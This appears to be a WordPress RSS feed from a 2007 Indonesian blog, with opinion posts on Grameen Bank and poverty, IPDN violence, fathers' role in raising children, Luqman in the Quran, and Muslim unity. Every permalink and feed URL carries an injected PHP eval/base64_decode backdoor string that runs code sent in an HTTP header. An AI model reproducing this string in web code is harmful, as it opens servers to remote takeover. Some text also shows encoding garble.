<p>Oleh karena itu, seharusnya bangsa ini menginisiasi sebuah forum yang dihadiri elemen-elemen tersebut untuk menindaklanjuti implementasi pengentasan kemiskinan di Indonesia. Muhammad Yunus memang mengatakan bahwa korupsi bukanlah masalah bagi negara Bangladesh untuk menginisiasi Grameen Bank. Namun yang patut diingat, keberhasilan itu dikarenakan adanya kualitas SDM yang sangat baik. Mengingat kualitas aparatur negara saat ini yang telah memiliki citra buruk, rasanya implementasi bank sejenis Grameen Bank harus diberikan pada pihak lain yang lebih terpercaya.</p>
<p>Di sinilah forum tersebut berperan, yakni untuk mempertemukan pihak-pihak yang telah teruji memiliki idealisme tinggi dalam mengentaskan kemiskinan. Saya melihat ada prestasi yang sangat baik dari lembaga-lembaga zakat di Indonesia dalam menyalurkan dana yang dihimpun. Mereka jujur dan profesional. Oleh karena itu, tidaklah berlebihan kiranya jika lembaga-lembaga zakat dilibatkan dalam proyek pengentasan kemiskinan ini sebagai mitra dalam implementasi. Jika seluruh bangsa bersinergi dalam program pengentasan kemiskinan, pasti Indonesia akan memiliki prestasi yang lebih baik dari Bangladesh dalam mengentaskan kemiskinan.</p>
<p>Bahkan lembaga zakat seharusnya dijadikan ujung tombak terakhir apabila pemerintah tidak memiliki itikad baik dalam mengentaskan kemiskinan. Dibandingkan dengan Muhammad Yunus yang memulai Grameen Bank dengan 27 dolar, rasa-rasanya keterlaluan apabila LAZ yang menghimpun dana miliran rupiah tidak bisa memulai jenis usaha seperti ini. Sebuah LAZ yang bernama Rumah Zakat telah memulai langkah yang strategis dengan mendirikan pasar murah khusus orang-orang miskin. Semoga LAZ lain dapat mengikuti jejak mereka dalam membuat program-program pemberdayaan rakyat miskin.</p>
<h3>Perbaikan Mental Pengemis</h3>
<p>Selain memberikan kesempatan yang sama untuk orang miskin, menurut hemat saya, berbagai elemen bangsa harus berkolaborasi untuk menghilangkan <em>mental pengemis</em> yang ada. Menurut analisis sosial dalam jurnal Ekonomi Rakyat, orang miskin di negeri ini telah kadung memiliki mental pengemis. Kesempatan yang tidak diberikan kepada mereka selama 62 tahun bangsa ini merdeka telah membuat mereka menjadi apatis akan masa depannya. Kita dapat melihat dengan fenomena banyaknya pengemis yang ada saat ini. Mental pragmatis ini harus dihilangkan terlebih dahulu supaya kesempatan yang diberikan pada orang miskin tidak terbuang percuma.</p>
<p>Prinsip Grameen Bank yang didirikan Muhammad Yunus adalah kepercayaan. Ia menjamin kredit seseorang dengan usaha yang dijalankan orang tersebut. Oleh karena itu, nilai-nilai kerja keras, wirausahawan, bertanggung jawab, kreatif, dan jujur harus kembali dihidupkan. Akan sangat menarik apabila pemerintah bersama LSM-LSM yang ada mampu membuat sebuah program untuk mengembalikan nilai-nilai tersebut. Tanpa restorasi nilai-nilai luhur, kesempatan yang ada akan disia-siakan, atau yang paling parah modal yang dipinjamkan dibawa kabur entah kemana.</p>
<h3>Kesimpulan</h3>
<p>Pada prinsipnya, teladan yang dapat diambil dari Muhammad Yunus adalah bahwa seluruh elemen bangsa ini harus memberikan kesempatan yang sama bagi orang miskin sebagaimana yang mereka berikan pada orang kaya. Sudah lama bangsa ini merindukan adanya perubahan. Maka dari itu, dengan semangat kemerdekaan dari kemiskinan, stakeholder bangsa ini harus segera merealisasikan segera kredit bagi rakyat kecil. Dengan demikian, petunjuk yang diberikan Muhammad Yunus dapat menjadi kado terbaik bagi bangsa ini setelah proklamasi kemerdekaan.</p>
<p align="right"><strong>Muhammad Ismail Faruqi</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/08/15/kunjungan-muhammad-yunus-kado-hut-ri/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Lagi, Korban Tewas di-IPDN-kan</title>
		<link>http://ismailfaruqi.jepang.info/2007/07/23/lagi-praja-tewas-di-ipdn-kan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/07/23/lagi-praja-tewas-di-ipdn-kan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Mon, 23 Jul 2007 04:04:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Opini]]></category>

		<category><![CDATA[Umum]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/07/23/lagi-praja-tewas-di-ipdn-kan/</guid>
		<description><![CDATA[&#8220;Itu yang tidur, tolong bangun. Kalau tidak, biar di-IPDN-kan saja.&#8221;
Kontan saja kami tertawa. Celetukan Pak Musholli saat Kajian Islam Kontemporer itu begitu cerdas. Aktivitas pemukulan tanpa ampun, penghardikan, pengeroyokan dan berbagai kekerasan lainnya beliau rangkum dengan satu kata sekaligus: IPDN. Sebegitu parahkah moral sebagian besar civitas IPDN, sehingga namanya layak mendapatkan peyorasi begitu rupa?
Ternyata ya. [...]]]></description>
			<content:encoded><![CDATA[<p><em>&#8220;Itu yang tidur, tolong bangun. Kalau tidak, biar di-IPDN-kan saja.&#8221;</em></p>
<p>Kontan saja kami tertawa. Celetukan Pak Musholli saat Kajian Islam Kontemporer itu begitu cerdas. Aktivitas pemukulan tanpa ampun, penghardikan, pengeroyokan dan berbagai kekerasan lainnya beliau rangkum dengan satu kata sekaligus: IPDN. Sebegitu parahkah moral sebagian besar civitas IPDN, sehingga namanya layak mendapatkan peyorasi begitu rupa?</p>
<p>Ternyata ya. Bahkan harus.</p>
<p>Pagi ini (23/7), dengan bersimbah darah seorang tukang ojek bernama Wendi dimakamkan karena dikeroyok praja IPDN (<a href="http://www.detiknews.com/indexfr.php?url=http://www.detiknews.com/index.php/detik.read/tahun/2007/bulan/07/tgl/23/time/095407/idnews/808096/idkanal/10" target="_blank">Detik.com</a>). Parahnya, tidak satupun pihak IPDN hadir pada pemakaman Wendi. Tentu saja, ini menambah daftar hitam korban kekerasan yang terjadi di tempat terkutuk itu. Bahkan rektor baru pun setali tiga uang dengan rektor lama, menutup-nutupi kasus ini.</p>
<p>Well, IPDN memang sudah busuk sampai ke akar. Tidak ada lagi yang dapat diharapkan dari institut kematian ini. Menurut Dr. Inu Kencana, kekerasan, narkoba, seks bebas, pungli, dan korupsi di dalamnya bersifat <em>struktural </em>dan sudah <em>membudaya</em>. Oleh karena itu, perbaikan IPDN tidak bisa dilakukan dengan tambal sulam rektor. Institut ini memang harus <strong>dibekukan </strong>sampai batas waktu yang tidak ditentukan. Seluruh praja harus pulang ke daerahnya masing-masing. Seluruh orang yang bekerja di sana diberhentikan. Kemudian dibuat institut dengan SDM dan sistem baru. Kalau perlu nama IPDN diganti. Barulah ada harapan ke arah yang lebih baik.</p>
<p>Kembali ke topik, jadi bagaimana? Mulai saat ini mari kita gunakan &#8220;meng-IPDN-kan&#8221;, &#8220;peng-IPDN-an&#8221;, dan &#8220;di-IPDN-kan&#8221;. Karena memang tidak ada kata lain yang tepat untuk menggambarkan hal terkutuk itu. Setuju?</p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/07/23/lagi-praja-tewas-di-ipdn-kan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Pria, Anda Juga Harus Ikut Mendidik Anak</title>
		<link>http://ismailfaruqi.jepang.info/2007/07/02/pria-anda-juga-harus-mendidik-anak/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/07/02/pria-anda-juga-harus-mendidik-anak/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Mon, 02 Jul 2007 15:09:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Cinta dan Keluarga]]></category>

		<category><![CDATA[Opini]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/07/02/pria-anda-juga-harus-mendidik-anak/</guid>
		<description><![CDATA[Bahkan anda yang menentukan visinya. Kira-kira begitulah yang saya tangkap sesudah membaca artikel tentang Wirianingsih, ibu 3 orang hafidz/hafidzah, dan 8 orang calon hafidz/hafidzah lainnya. Untuk saya, artikel ini cukup heartstabbing. Mengapa? Karena hal ini membuka mata bahwa peran laki-laki tidak hanya mencari nafkah. Justru yang sering dilupakan adalah peran laki-laki dalam mendidik anaknya. Berikut [...]]]></description>
			<content:encoded><![CDATA[<p>Bahkan <em>anda</em> yang menentukan visinya. Kira-kira begitulah yang saya tangkap sesudah membaca artikel tentang Wirianingsih, ibu 3 orang hafidz/hafidzah, dan 8 orang calon hafidz/hafidzah lainnya. Untuk saya, artikel ini cukup <em>heartstabbing</em>. Mengapa? Karena hal ini membuka mata bahwa peran laki-laki tidak hanya mencari nafkah. Justru yang sering dilupakan adalah peran laki-laki dalam mendidik anaknya. Berikut ini adalah cuplikannya:</p>
<p><span id="more-80"></span><em>[--start of cuplikan--] </em></p>
<p>Wiwi yang hobi membaca ini sudah mulai mendalami nilai-nilai kisah para nabi, orang-orang shalih, dan para ulama besar. Salah satu buku yang dibacanya adalah tentang kisah 30 orang-orang besar di zamannya. Ia mengatakan, &#8220;Saya mencoba meneliti itu, dan saya menemukan benang merah, bahwa keberhasilan pendidikan anak adalah di rumah dan hasil integrasi kedua orang tua, bapak dan ibunya.&#8221;</p>
<p>Saat menyinggung masalah ini, Wiwi mengungkap pula soal keprihatinannya akan paradigma yang keliru dalam pendidikan anak. Sekarang ini, katanya, banyak kaum ibu yang menjadi penanggung jawab utama pendidikan anak-anak. Sementara kaum bapak, banyak beraktifitas di luar rumah. Padahal, tandasnya, keberhasilan pendidikan anak adalah hasil integrasi dari seorang ayah dan ibu dari anak-anak. Bahkan bila dispesifikasi lagi fungsi keduanya, maka <strong>tanggung jawab pendidikan itu ada pada ayahnya, bukan pada ibunya</strong>. Tema ini pula yang menjadi fokus penelitian Wiwi beberapa waktu terakhir dalam proses pendidikan S2-nya. Ia lalu mencontohkan bagaimana Rasulullah saw justru memanggil sang ayah ketika ada seorang anak yang mencuri.</p>
<p>&#8220;Yang dipanggil adalah ayahnya, bukan ibunya. Lalu sang anak pun menyampaikan bagaimana ayanya tidak memberikan ibu yang baik baginya, tidak memberikan pendidikan yang baik untuknya dan tidak memberi nama yang baik kepadanya,&#8221; ujar Wiwi.</p>
<p>Ia juga merinci sedikit bagaimana pandangan Al Quran soal pendidikan selalu mengarah pada sang ayah utamanya, bukan ibu. &#8220;Bahkan kalau kita baca buku <em>Tarbiyatul Aulad</em>-nya Abdullah Nashih Ulwan, kisah-kisah yang disampaikan itu selalu kisah seorang ayah mendidik anaknya. Yang sangat fenomenal justru Luqman, bagaimana ia memanggil anaknya dengan lemah lembut. Ini penting kita lihat, karena seperti inilah Al Qur&#8217;an mengulas peran sang ayah dalam pembentukan anak-anaknya. Kita lihat juga Nabiyullah Ibrahim alaihissalam, bagaimana ia berhasil men-tarbiyah isteri dan anaknya. Jadi kesimpulannya adalah, yang membangun visinya adalah ayah, dan istrinya yang mengisi kerangka itu.</p>
<p>Tentang peran ayah yang melandasi sepak terjang istri dalam keberhasilan mendidik anak juga disampaikannya dari sejarah orang-orang shalih. Wiwi mengatakan,</p>
<p>&#8220;Saya coba buktikan, Imam Syafi&#8217;i memang ditinggal wafat ayahnya ketika ia berusia enam tahun. Tapi isi kepala ayahny itu sudah dipindahkan kepada sang ibu, jadi ibunya lah yang meneruskan.. Kita lihat bagaimana si ibu mendidik Imam Syafi&#8217;i itu karena sudah diwarisi oleh nilai suaminya. Lihat pula Imam Ghazali, yang ditinggal wafat ayahnya saat ia berusia enam tahun. Kita lihat juga Imam Hasan al-Banna, bagaimana sentuhan pendidikan yang sangat kuat mewarnainya adalah ayahnya. Baca juga buku <em>Mu&#8217;ayasyah ma&#8217;al Quran</em>-nya Yusuf al-Qaradhawy yang sepuluh tahun hafal al-Quran. Ternyata yang mendidiknya seperti itu juga adalah ayahnya. Ia menuliskan,</p>
<p>&#8220;Dahulu saya tidak tahu mengapa ayah saya begitu mengkondisikan saya untuk hafal Qur&#8217;an di usia sepuluh tahun.&#8221;</p>
<p>Saya lihat semua itu ada benang merah, dan kenyataan yang saya alami juga begitu. Saya tidak mungkin bisa mendidik anak-anak saya sebelas orang, kecuali karena karunia Allah melalui seorang suami yang memahami tentang pendidikan anak.&#8221;</p>
<p><em>[--end of cuplikan--]</em></p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/07/02/pria-anda-juga-harus-mendidik-anak/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Lukman, Model Ayah Panutan</title>
		<link>http://ismailfaruqi.jepang.info/2007/05/19/lukman-model-ayah-panutan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/05/19/lukman-model-ayah-panutan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Sat, 19 May 2007 07:11:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Cinta dan Keluarga]]></category>

		<category><![CDATA[Featured]]></category>

		<category><![CDATA[Opini]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/05/19/lukman-model-ayah-panutan/</guid>
		<description><![CDATA[Lukman, nama yang telah kita kenal dalam al-Quran, merupakan teladan yang baik dalam mendidik anak. Ini adalah sedikit renungan tentang untaian ayat-ayat yang menceritakan keagungan beliau.]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal">Lukman. Orang yang ingin saya bicarakan kali ini bukan Lukman Hakim teman saya, melainkan Lukman al-Hakim yang namanya tertera di dalam al-Quran. Biasanya, orang yang namanya diabadikan dalam al-Quran memiliki <em>outstanding achievement</em>, sehingga Allah SWT ingin agar segenap manusia sampai akhir zaman mengambil pelajaran darinya. Pelajaran itu bisa saja diambil orang yang melakukan banyak kebaikan, seperti Adam, Sulaiman, Isa, Khaidir, dan Muhammad, atau melakukan kejahatan seperti Qarun, Abu Lahab, atau Firaun. Nama “Lukman” sendiri diabadikan sebagai judul surat ke-31 dalam Al-Quran. Dalam surat itu, Allah SWT menyediakan 1 halaman penuh pelajaran tentangnya untuk kita ambil. Pelajaran apakah itu? Apakah pelajaran seorang nabi tentang bagaimana menjadi nabi? Ternyata bukan, melainkan… pelajaran seorang ayah tentang bagaimana menjadi ayah (ceila).</p>
<p><span id="more-38"></span></p>
<p class="MsoNormal"><strong>AJARAN LUKMAN</strong></p>
<p class="MsoNormal">Ayah adalah seorang pendidik keluarganya. Ajarannya adalah perisai yang melindungi anggota keluarganya dari api neraka. Begitu pula sosok seorang Lukman. Maka ajaran pertama yang ia berikan kepadanya adalah <em>Tauhid</em>.</p>
<p class="MsoNormal"><span style="color: #0000ff;">“Wahai anakku! Janganlah engkau mempersekutukan Allah, sesungguhnya mempersekutukan (Allah) adalah benar-benar kezaliman yang besar.”</span> <strong>(QS Lukman:13)</strong></p>
<p class="MsoNormal"><strong>Tauhid</strong>. Ajaran pertama ini menerangkan bagaimana menjadikan Allah SWT sebagai satu-satunya <em>ilah</em>, dan menolak tuhan-tuhan lain selain-Nya. Bagaimana mengikhlaskan segalanya untuk Allah semata. Tauhid-lah yang membedakan kesudahan setiap manusia. Maka sudah seharusnya seorang ayah mengajarkan tauhid sebagai awal bagi keluarganya. Apa pelajaran kedua?</p>
<p class="MsoNormal"><span style="color: #0000ff;">“Dan Kami perintahkan kepada manusia (agar berbuat baik) kepada orang tuanya. Ibunya telah mengandungnya dalam keadaan lemah yang bertambah-tambah, dan menyapihnya dalam dua tahun&#8230;”</span> <strong>(QS Lukman: 14)</strong></p>
<p class="MsoNormal"><strong>Berbakti kepada orang tua</strong>. Inilah pelajaran kedua. Tanpa mereka berdua kita tidak dapat merasakan nikmatnya hidup. Tapi mengapa <em>ibu</em> yang yang ditekankan? Karena ibu jelas lebih menyayangi kita. Ia adalah wanita, yang diciptakan memiliki <span style="text-decoration: underline;">perasaan </span>lebih dibandingkan laki-laki. Coba jika anaknya sakit, apa kata ibu?</p>
<p class="MsoNormal"><em>“Ya Allah, pindahkan rasa sakit anakku kepadaku agar ia tidak menderita…”</em></p>
<p class="MsoNormal">Apa kata ayah? Ia lebih memiliki logika, mungkin ia akan mengatakan,</p>
<p class="MsoNormal"><em>“Wah, kalau sakitnya dipindahkan padaku, bagaimana aku bisa mencari nafkah untuk menghidupi keluargaku?”</em></p>
<p class="MsoNormal">Nah lho. Lagipula, yang menanggung rasa sakit selama 9 bulan bukan ayah, tapi ibu. Yang berjuang melawan kematian saat melahirkan bukan ayah, tapi ibu. Yang memberi ASI –yang kandungan gizinya tak tergantikan oleh susu lain- selama dua tahun bukan ayah, tapi ibu. Jadi wajar dong… kalau ibu harus lebih dicintai. Wajar dong… kalau surga ada di bawah telapak kaki ibu.</p>
<p class="MsoNormal">Bagaimana jika ibu dan ayah menyuruh kita kepada sesuatu yang bertentangan dengan perintah Allah SWT? Mana yang harus kita dahulukan, Allah-kah atau ibu dan ayah-kah?</p>
<p class="MsoNormal"><span style="color: #0000ff;">“Dan jika keduanya memaksamu untuk mempersekutukan Aku dengan sesuatu yang tidak mempunyai ilmu tentangnya, maka janganlah engkau menaati keduanya. <span style="text-decoration: underline;">Dan pergauilah keduanya dengan baik</span>, dan ikutilah jalan orang yang kembali ke jalan-Ku”</span> <strong>(QS Lukman: 15)</strong></p>
<p class="MsoNormal">Jika hal seperti itu terjadi, Allah-lah yang harus kita dahulukan. Tapi ingat, kewajiban seorang anak untuk berbakti kepada orang tuanya tetap ada. Ia harus tetap menyayangi orang tuanya walaupun mereka berbeda iman. Sungguh indah Islam dalam menghargai ibu dan ayah.</p>
<p class="MsoNormal">Berikutnya, apa lagi yang Lukman ajarkan kepada keluarganya?</p>
<p class="MsoNormal"><span style="color: #0000ff;">“Wahai anakku! Sungguh jika ada (suatu perbuatan) seberat biji sawi dan berada dalam batu, atau di langit, atau dibumi… niscaya Allah akan memberinya <span style="text-decoration: underline;">balasan</span>. Sesungguhnya Allah Maha Halus lagi Maha Teliti.”</span> <strong>(QS Lukman: 16)</strong></p>
<p class="MsoNormal"><strong>Takut kepada Allah</strong>. Pelajaran ketiga ini adalah <em>inti</em> dari kelakuan seseorang. Lukman mengajarkan anggota keluarganya agar tidak korupsi, tidak membunuh, tidak berbohong karena takut kepada Allah. Sebelum semua hukum, semua sanksi, dan semua sistem untuk mengatur kehidupan manusia dibuat, manusia itu harus takut kepada Allah terlebih dahulu. Buang rasa takutmu pada-Allah, maka engkau bebas melakukan apa saja. Iya kan? Kita sudah melihat buktinya di negeri kita ini…</p>
<p class="MsoNormal">Berikutnya (ayat 17-19), Lukman menyuruh pada kita agar menegakkan shalat, amar ma’ruf nahi munkar, bersabar atas apa yang menimpa kita, melarang sombong dan membanggakan diri dalam berinteraksi dengan sesama manusia, berjalan tanpa rasa angkuh, dan melunakkan suara. Subhanallah, Lukman telah menunjukkan apa yang harus dilakukan sebagai seorang ayah.</p>
<p class="MsoNormal"><strong>KUNCI SUKSES LUKMAN</strong></p>
<p class="MsoNormal">Mengapa Lukman sukses sebagai seorang ayah? Allah SWT menjelaskan sebabnya bahwa,</p>
<p class="MsoNormal"><span style="color: #0000ff;">“Dan sungguh telah Kami berikan <span style="text-decoration: underline;">hikmah</span> kepada Lukman…”</span> <strong>(QS Lukman: 12)</strong></p>
<p class="MsoNormal">Kuncinya sukses Lukman adalah hikmah. Apa itu hikmah? Para ulama sepakat bahwa hikmah adalah <span style="text-decoration: underline;">pemahaman tentang agama yang benar, detail, dan komprehensif</span>. Siapa yang memiliki pemahaman agama yang benar, ia telah diberi kebaikan yang banyaaa..ak sekali dari Allah. Bisa nggak kita diberi hikmah seperti Lukman?</p>
<p class="MsoNormal"><span style="color: #0000ff;">“Dia memberikan hikmah<span style="text-decoration: underline;"> kepada siapa yang Dia kehendaki</span>. Barangsiapa diberi hikmah, sesungguhnya dia telah diberi kebaikan yang banyak. Dan tidak ada yang dapat mengambil pelajaran kecuali <span style="text-decoration: underline;">ulul-albaab</span>.”</span> <strong>(QS Al-Baqarah: 269)</strong></p>
<p class="MsoNormal">Ups, ternyata hikmah adalah hak prerogatif Allah! Tidak semua orang diberikan hikmah! Jumlah orang yang memiliki pemahaman agama yang komprehensif itu ternyata <em>sedikit</em>. Makanya jika ada headline berita:</p>
<h3><span style="color: #ff0000;">“5000 ulama berkumpul di Jawa Timur untuk melakukan istighosah…”</span></h3>
<p class="MsoNormal">Itu tandanya di Indonesia tengah terjadi <em>inflasi </em>ulama, he he. Lantas, kalau hikmah adalah hak Allah, bagaimana kita dapat mengambil hikmah? Untungnya, pada ayat di atas Allah menyebutkan bahwa <em>probabilitas tertinggi</em> orang yang diberi hikmah oleh Allah ada pada <em>ulil-albab</em>. Siapa itu? Ulil-albab dijelaskan Allah pada ayat yang kita sering dengar, bahwa mereka adalah,</p>
<p class="MsoNormal"><span style="color: #0000ff;">“…orang-orang yang mengingat Allah sambil <strong>berdiri, duduk, atau berbaring</strong>, dan mereka memikirkan tentang <strong>penciptaan langit dan bumi,</strong> (seraya berkata,) “Ya Tuhan kami, tidaklah Engkau menciptakan semua ini dengan sia-sia. Maha Suci Engkau, lindungi kami dari azab neraka.”</span> <strong>(QS Ali-Imran: 191)</strong></p>
<p class="MsoNormal">Jelas kan? Ulil-albab, orang yang memiliki probabilitas tertinggi untuk diberi hikmah adalah orang yang:</p>
<ol>
<li><span></span>Selalu mengingat Allah dalam seluruh aktivitas hidupnya (berdiri, duduk, dan berbaring). Ia memperhatikan ayat qauliyah-Nya,<span><span><span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-family: 'Times New Roman';"> </span></span></span></li>
<li>Selalu memikirkan tentang penciptaan langit dan bumi. Ia memperhatikan ayat kauniyah-Nya, dan<span><span> </span></span></li>
<li>Sebagai hasil tafakkur-nya pada ayat kauliyah dan kauniyah Allah, ia menarik kesimpulan: “Ya Tuhan kami, tidaklah Engkau menciptakan semua ini dengan sia-sia”.</li>
</ol>
<p class="MsoNormal">Nah, ulil-albab seperti itulah yang dapat menjadi seorang ayah seperti Lukman, yang senantiasa memberi pelajaran berharga pada keluarganya, serta bersyukur kepada Allah. Itulah kematangan spiritual yang dibutuhkan seorang ayah dari seorang pria saat ia menyerahkan perwalian anak gadisnya kepada pria tersebut (ceila..). <em>Marriage isn’t just about loving and feeding, isn&#8217;t it? It&#8217;s also guiding and teaching&#8230; </em></p>
<p class="MsoNormal">
<p class="MsoNormal">“Btw Qi, cem mana kau ini ngalor-ngidul tentang ayah, mang loe dah siap?”</p>
<p class="MsoNormal">Haha, maaf kk, belum… entah kapan… <img src='http://ismailfaruqi.jepang.info/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://ismailfaruqi.jepang.info/2007/05/19/lukman-model-ayah-panutan/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/feed/id/</wfw:commentRss>
		</item>
		<item>
		<title>Belajar Persatuan Kepada Uni Eropa</title>
		<link>http://ismailfaruqi.jepang.info/2007/04/13/belajar-persatuan-kepada-uni-eropa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/</link>
		<comments>http://ismailfaruqi.jepang.info/2007/04/13/belajar-persatuan-kepada-uni-eropa/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/id/#comments</comments>
		<pubDate>Fri, 13 Apr 2007 08:05:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Opini]]></category>

		<guid isPermaLink="false">http://ismailfaruqi.wordpress.com/2007/04/13/belajar-persatuan-kepada-uni-eropa/</guid>
		<description><![CDATA[Menyaksikan Iran yang berjuang sendirian dalam mempertahankan program nuklir damainya membuat banyak orang merindukan bergeraknya negara Islam lain. Terlebih lagi, semenjak Indonesia memberikan dukungannya terhadap resolusi DK PBB 1747 tentang perluasan sanksi nuklir bagi Iran, semakin dirasakan pentingnya persatuan negara-negara Islam di dunia. Tulisan hendak membuka mata para pemimpin negara Islam dalam menyadari pentingnya persatuan, [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><span>Menyaksikan Iran yang berjuang sendirian dalam mempertahankan program nuklir damainya membuat banyak orang merindukan bergeraknya negara Islam lain. Terlebih lagi, semenjak Indonesia memberikan dukungannya terhadap resolusi DK PBB 1747 tentang perluasan sanksi nuklir bagi Iran, semakin dirasakan pentingnya persatuan negara-negara Islam di dunia. Tulisan hendak membuka mata para pemimpin negara Islam dalam menyadari pentingnya persatuan, dengan mencontoh pada Uni Eropa yang berhasil membuktikan dirinya sebagai kekuatan yang bangkit karena semangat persatuan.</span></p>
<p><span id="more-35"></span></p>
<p class="MsoNormal"><span>Meskipun baru berdiri pada tahun 1992, namun Uni Eropa telah menjadi entitas tunggal yang berpengaruh di dunia, termasuk dalam bidang ekonomi. Saat ini, Uni Eropa sebagai entitas tunggal merupakan eksportir terbesar, importir kedua terbesar, serta memiliki GDP terbesar di muka bumi. Terlepas dari bermacam pendapat seputar latar belakang penyatuan negara-negara anggota Uni Eropa, pembentukan Uni Eropa merupakan model ï¿½kekhalifahanï¿½ <span> </span>yang patut dicontoh umat Islam. </span></p>
<h3>Usaha yang Sia-sia</h3>
<p class="MsoNormal"><span>Kaum muslimin di bumi memiliki sejarah yang kelam pada abad 20. Negara-negara Islam berpecah semenjak jatuhnya Kekhalifahan Turki Utsmani. Nama Islam yang gemilang dalam sejarah peradaban dunia tinggal sejarah. Negeri-negeri Islam jadi kehilangan kemandirian, meski mereka merupakan eksportir minyak dunia. Bahkan negara-negara Islam saling berperang satu sama lain. Mesir melawan Iran, Irak memakan Suriah, Sunni menghajar Syiah, Hamas versus Fatah. Kesadaran untuk saling membantu pun amat rendah. Siapa membantu Bosnia, Irak, dan Afghanistan saat dijajah? Sebaliknya, bantuan datang dari Amerika, Soviet, dan negara lain yang memiliki kepentingan tertentu. Kadung dibantu, jadilah umat Islam berhutang ï¿½budiï¿½ pada negara-negara tersebut, membayar utang perang dengan eksploitasi hasil bumi.</span></p>
<p class="MsoNormal"><span>Usaha untuk melepaskan diri telah dilakukan, namun selalu gagal. Yang melawan selalu berakhir terbunuh, terembargo, atau terperangi. Ada negara Islam yang memilih melawan walaupun harus hidup dalam tekanan ekonomi, namun ada pula yang memilih kembali ke ketiak negara-negara adidaya tersebut. Pendeknya, mempertahankan idealisme bagai buah simalakama. Maju salah mundur pun salah. Sebuah negara Islam terlampau lemah untuk menghadapi negara adidaya, baik dari mentalitas pemimpin maupun sumberdaya yang ada. </span></p>
<p class="MsoNormal"><span>Menyadari pentingnya bersatu, maka negara-negara Islam membentuk OKI pada tahun 1969. Sayang, nasib negara Islam pra dan pasca OKI setali tiga uang. Persatuan yang hanya bermodalkan konferensi setahun sekali tidak membawa perubahan apapun. Namun di akhir abad 20, tiba-tiba muncul sebuah kekuatan baru bernama Uni Eropa. Berawal dari 6 negara Eropa yang berserikat ekonomi pada tahun 1958, Uni Eropa tumbuh menjadi kekuatan raksasa. Nilai mata uangnya menghancurkan dominasi dolar Amerika. Bahkan saat ini dengan 27 anggotanya, Uni Eropa secara de-facto lebih kuat daripada Amerika, Soviet, maupun Cina.</span></p>
<h3>Entitas Tunggal: Sebuah Keharusan</h3>
<p class="MsoNormal"><span>Mengapa OKI yang beranggotakan 57 negara itu tidak juga membangunkan kekompakan negara-negara Islam? Kelemahan negara-negara Islam adalah keengganan mereka untuk bersatu sebagai sebuah entitas tunggal. Mereka lebih menonjolkan perbedaan yang ada, baik perbedaan mahzab maupun perbedaan budaya. Selain itu, frame berfikir yang merasa paling benar sendiri juga membuat bersatunya suara negara-negara Islam semakin sulit. Orientasi yang terbatas pada pada mahzab atau teritorial inilah yang berbahaya. Orientasi inilah yang menyebabkan umat Islam memiliki sejarah menumpahkan darah sesamanya. Padahal bila ditilik dari sisi sejarah, kaum muslimin memiliki latar belakang historis yang paling masuk akal untuk bersatu, yakni kesamaan agama. Bahkan bersatu sendiri merupakan kewajiban yang diperintahkan dalam Islam.</span></p>
<p class="MsoNormal"><span>Jika dibandingkan dengan Uni Eropa, meskipun <span> </span>mereka bukanlah negara muslim, namun mereka yang paling nyata dalam mengimplementasikan persatuan. Bahkan mereka memilih untuk menjadi entitas tunggal, membentuk satu mata uang, satu bank sentral, satu parlemen, bahkan satu pemerintahan. Di sana diberlakukan perdagangan bebas, sehingga Uni Eropa menjadi sebuah ï¿½single marketï¿½ yang membawa peningkatan positif bagi masing-masing negaranya. Selain itu, dengan perjanjian untuk melindungi sesama negara anggota, anggaran pertahanan masing-masing negara pun dapat ditekan seminimal mungkin. Melihat keuntungan yang ada sebagai sebuah entitas tunggal, tidak berlebihan bila menjadi entitas tunggal merupakan keharusan bagi negara-negara Islam.</span></p>
<h3>Tantangan Negara-negara Islam</h3>
<p class="MsoNormal"><span>Hal yang paling penting dalam membangun sebuah entitas tunggal adalah mencari titik temu dan kebersamaan dalam perbedaan yang ada. Meskipun berada pada satu dataran, negara-negara Uni Eropa memiliki sejarah yang berbeda-beda. Akan tetapi, mereka disatukan pada titik temu, yakni keinginan untuk mengangkat kekuatan Eropa. </span></p>
